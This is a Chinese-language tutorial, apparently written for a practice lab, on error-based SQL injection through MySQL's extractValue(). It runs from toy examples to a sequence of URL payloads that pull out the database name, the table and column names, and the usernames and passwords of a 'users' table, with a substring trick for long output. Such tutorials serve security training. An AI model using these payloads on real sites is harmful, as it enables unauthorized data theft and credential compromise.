什么是报错注入
这是一种页面响应形式,响应过程如下:
用户1在前台页面输入检索内容------>后台将前台页面上输入的检索内容无加区别的拼成sql语句,送到数据库执行------->数据库将执行的结果无加区别的显示到前台页面上
俩个“无加区别”<-----报错注入存在的基础----->后台对输入输出的合理性没有做检查
也就是说输入进去的内容和输出的内容不做检查的
那什么时候用报错注入呢?
构造语句,让错误信息中夹杂可以显示数据库内容的查询语句
返回报错提示中包含数据库中的内容
命令对但是不回显
但是报错是可以报错的,写错一个字母让它报错
可以看到数据库名称叫security
通过extractValue()报错注入
函数extractValue()包含俩个参数
第一参数 XML文档对象名称,第二参数路径
以创建ctfstu和数据库xml为示例,展示函数extractValue()的用法
1.创建数据库
CREATE DATABASE ctfstu charset utf8;
2.创建xml表
create table xml(doc varchar(500))
3.添加数据
INSERT INTO `xml`(`doc`) VALUES ('
a bad boy how to get a girlfriend
Love
benben
');
INSERT INTO `xml`(`doc`) VALUES ('
how to become a bad boy
hualong
Melton
');
extractValue(列名,路径)函数查询里面的内容
查询作者是谁
因为标签里面的类型是字符串型所以要加引号
select extractValue(doc,'book/author/surname') from xml
extractValue(doc,‘book/author/surname’)
extractValue(列名,book标签下面的author标签下面的surname标签里面的内容)
查询书名
select extractValue(doc,'book/title') from xml
select extractValue(doc,'book/titlel') from xml
select extractValue(doc,'~book/titlel') from xml
SELECT concat(1,2)
其实就是把1和2拼在一起12
把~转换成ASCII码0x7e
select concat(0x7e,(select database()))
得到数据库名为ctfstu
因为extractValue()路径上有~ 会报错,所以给语句拼接上~让它报错
SELECT extractValue(1,concat(0x7e,(select database())))
?id=1'
明显单引号闭合
查询有多少列
?id=1' union select 1,2,3--+
?id=1' and 1=extractvalue(1,concat(0x7e,(select database()))) --+
得到数据库名为security
查询当前数据库的表
?id=1' and 1=extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.TABLES where TABLE_SCHEMA=database()))) --+
?id=1' and 1=extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name ='users'))) --+
?id=1' and 1=extractvalue(1,concat(0x7e,(select group_concat(username,password) from users)))--+
?id=1' and 1=extractvalue(1,concat(0x7e,(select group_concat(username,'~',password) from users)))--+
默认只能返回32字符串
使用函数substring()函数解决只能返回32个字符串的问题(功能和substr函数一样)
substring((字符串),从第几个字符开始,一次输出几个)因为有32的局限所以每次开始的字符都要不一样才能拼成完整的答案
?id=1' and 1=extractvalue(1,concat(0x7e,(select substring((select group_concat(username,'~',password) from users),25,30))))--+